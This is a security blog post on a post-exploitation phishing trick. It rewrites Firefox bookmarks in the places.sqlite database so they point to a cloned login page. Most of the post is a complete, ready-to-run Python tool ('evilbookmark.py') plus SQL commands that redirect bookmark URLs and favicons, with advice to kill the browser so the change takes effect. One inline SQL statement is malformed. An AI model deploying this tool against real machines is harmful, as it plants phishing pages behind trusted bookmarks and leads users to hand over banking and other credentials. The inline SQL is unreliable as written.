This is a little post about an email from my bank that led to a post-exploit phishing method, that I haven’t heard of before. Since most environments detect attacks like Man-in-the-Middle or proxy stuff pretty easily, replacing browser bookmarks can be a way to abuse a user’s habits into submitting credentials. I suspect that most users will not look at the URL after clicking a trusted bookmark. Having a valid SSL certificate and a good clone can then be another road to Rome loot.
How it Started #
This started with a simple e-mail from by bank. It was a yearly reminder of the dos and don’ts of online banking. Since I consider myself pretty educated on that topic I didn’t read it line by line. But one tip they gave scratched that one part of my brain. They said somewhat along:
Never save the online banking URL as a bookmark. Attackers could replace that bookmark with an evil login page or in case of updates the login URL could change.
I never thought about the attack vector of replacing bookmarks “on the fly”. So I did a little research…
How it Works #
Firefox stores a bunch of information like bookmarks, history, or cookies inside an unprotected sqlite3 database. With a simple SQL query, I can find and replace the bookmark URLs. Since Firefox displays the favicons of set sites along the bookmark, a second query is needed to update the favicon URL.
Those databases are located inside your profile folder which on Windows is located at:
%APPDATA%\Mozilla\Firefox\Profiles
The bookmarks are stored inside a sqlite3 database called places.sqlite
. Inside this database there are many tables. We are interested in the table moz_places
. Inside this table there are all the bookmarks and if Firefox is running, all open tabs.
Tables | moz_places |
---|---|
To exclude the open tabs you can filter with:
WHERE foreign_count = 1
To replace the URL you run:
UPDATE moz_places WHERE foreign_count = 1 SET url = REPLACE(url,'https://site.com','https://evilsite.com')
To replace the favicon URL run:
UPDATE moz_places SET preview_image_url = 'https://evilsite.com/icon.png' WHERE foreign_count = 1 AND url LIKE '%https://evilsite.com%'
Firefox only loads the bookmarks at the start. So you either need to wait for your target to close and reopen the browser or kill it yourself.
PoC Code
python evilbookmark.py -b "https://google.com" -r "https://duckduckgo.com" -i "https://duckduckgo.com/favicon.ico"
import os
import argparse
import sqlite3
def check_installation():
# the default firefox installation path
username = os.getenv("USERNAME")
firefox_path = f"C:/Users/{username}/AppData/Roaming/Mozilla/Firefox"
print("[*] Checking for Firefox")
if os.path.exists(firefox_path):
print("[+] Firefox found")
return firefox_path
else:
print("[!] No Firefox found")
return None
def get_profile(firefox_path: str, custom_profile: str):
if custom_profile:
print(f"[*] Checking for profile '{custom_profile}'")
custom_profile_path = f"{firefox_path}/profiles/{custom_profile}"
if os.path.exists(custom_profile_path):
print(f"[+] Using profile '{custom_profile}'")
return custom_profile_path
else:
print(f"[!] Profile '{custom_profile}' not found")
return None
else:
ini_path = f"{firefox_path}/profiles.ini"
if not os.path.exists(ini_path):
print("[!] No default profile found'")
return None
with open(ini_path) as ini_file:
for line in ini_file.readlines():
if "Default=Profiles" in line:
# format = "Default=Profiles/asdf1234.default" so we split after / and remove the newline
profile_name = line.split("/")[1].replace("\n", "")
print(f"[+] Using default profile '{profile_name}'")
return f"{firefox_path}/profiles/{profile_name}"
def replace_bookmarks(profile_path: str, bookmark: str, replace_with: str):
print(f"[*] Replacing '{bookmark}' with '{replace_with}'")
connection = sqlite3.connect(f"{profile_path}/places.sqlite")
cursor = connection.cursor()
try:
# since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
# UPDATE TABLE SET COLUMN = REPLACE(COLUMN,OLDSTRING,NEWSTRING)
query = (
"""UPDATE moz_places SET url = REPLACE(url,\'"""
+ bookmark
+ "','"
+ replace_with
+ """') WHERE foreign_count = 1 """
)
cursor.execute(query)
connection.commit()
except sqlite3.Error as e:
print(f"[!] Failed: {e}")
cursor.close()
connection.close()
def replace_icons(profile_path: str, replace_with: str, icon_url: str):
print(f"[*] Replacing icon URLs from '{replace_with}' with '{icon_url}'")
connection = sqlite3.connect(f"{profile_path}/places.sqlite")
cursor = connection.cursor()
try:
# since open tabs are also stored in moz_places 'foreign_count = 1' selects only the bookmarks
query = (
"""UPDATE moz_places SET preview_image_url = \'"""
+ icon_url
+ """\' WHERE foreign_count = 1 AND url LIKE '%"""
+ replace_with
+ """%\'"""
)
cursor.execute(query)
connection.commit()
except sqlite3.Error as e:
print(f"[!] Failed: {e}")
cursor.close()
connection.close()
if __name__ == "__main__":
args = argparse.ArgumentParser(add_help=False)
args.add_argument("-h", "--help", action="store_true")
args.add_argument(
"-p", "--profile", type=str, action="store", dest="custom_profile"
)
args.add_argument(
"-b", "--bookmark", type=str, action="store", dest="bookmark_search"
)
args.add_argument(
"-r", "--replace", type=str, action="store", dest="bookmark_replace"
)
args.add_argument(
"-i", "--iconurl", type=str, action="store", dest="bookmark_iconurl"
)
args = args.parse_args()
helptext = """Usage:
evilbookmark.py [OPTIONS]
Options:
-p, --profile <NAME> Use a custom profile
-b, --bookmark <URL> What bookmark to search for, ex. 'http://site.com'
-r, --replace <URL> URL to be inserted into '-b' ex. 'http://evilsite.com'
-i, --iconurl <URL> Icon URL to be inserted into '-b' ex. 'http://evilsite.com/icon.png'
-h, --help Shows this help text and exit
"""
if args.help:
print(helptext)
exit(0)
if (
not (args.bookmark_search)
or not (args.bookmark_replace)
or not (args.bookmark_iconurl)
):
print("[!] Please use '-b', '-r' and '-i'")
exit(1)
firefox_path = check_installation()
if not firefox_path:
exit(1)
profile = get_profile(firefox_path, args.custom_profile)
if not profile:
exit(1)
replace_bookmarks(profile, args.bookmark_search, args.bookmark_replace)
replace_icons(profile, args.bookmark_replace, args.bookmark_iconurl)